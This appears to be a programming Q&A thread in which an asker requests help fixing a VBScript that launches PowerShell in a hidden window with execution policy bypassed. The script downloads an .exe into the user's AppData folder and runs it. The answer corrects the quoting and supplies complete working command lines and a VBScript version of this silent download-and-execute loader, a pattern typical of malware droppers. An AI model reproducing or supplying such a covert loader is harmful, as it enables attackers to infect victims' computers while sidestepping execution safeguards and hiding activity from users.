VBScript to launch powershell.exe as root and execute command - powershell

Question

The following VBScript gives the error:
failing : error invalid character line 5 column 54
My VBScript:
dim myobject :
set myobject = createobject ( "wscript.shell" ) :
powershellcommand = "powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command Set-content -value (new-object System.net.webclient).downloaddata( https://website.com/folder/download.exe ) -encoding byte -Path $env:appdata\download.exe ; start $env:appdata\download.exe " :
myobject.run " & myobject.expandenvironmentstrings( "%systemroot%" ) & "\SYSTEM32\windowspowerShell\v1.0\powershell.exe" & " & ' ' & " & powershellcommand & " , 0 : set myobject = NOTHING
How do I fix it?

Answer 1

With regard to .run method: essentially, the string value indicating the command line you want to run should appear exactly as it would if you typed it at the command prompt, e.g. something like
powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) -encoding byte -Path $env:appdata\download.exe; Start-Process $env:appdata\download.exe"
The above command runs as expected (unfailing in Windows 8.1/64, PSVersion 5.1.14409.1012). However, if you want to supply full path to powershell executable, then it could look as follows:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) -encoding byte -Path $env:appdata\download.exe; Start-Process $env:appdata\download.exe"
You need to properly build such string value in VBScript e.g. as in the following code snippet for the latter:
Option Explicit
Dim WshShell, powershellcommand, objFSO, sPSexePath
Set WshShell = CreateObject("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
sPSexePath = objFSO.BuildPath( WshShell.expandenvironmentstrings( "%systemroot%" ) _
, "System32\WindowsPowerShell\v1.0\powershell.exe" )
powershellcommand = """" & sPSexePath & """ -Executionpolicy bypass -noprofile " _
& " -windowstyle hidden -command ""Set-Content -value " _
& " (new-object System.net.webclient)" _
& ".downloaddata( 'http://pspad.poradna.net/release/pspad462_setup.exe' ) " _
& " -encoding byte -Path $env:appdata\download.exe; " _
& " Start-Process $env:appdata\download.exe"""
WshShell.Run powershellcommand, 0
Note that in VBScript, a sequence of literal characters, enclosed in double quotes ("), is recognized as a string. A single quotation mark (') is allowed within a string. To insert a double quotation mark (") into a string, it should be duplicated as "".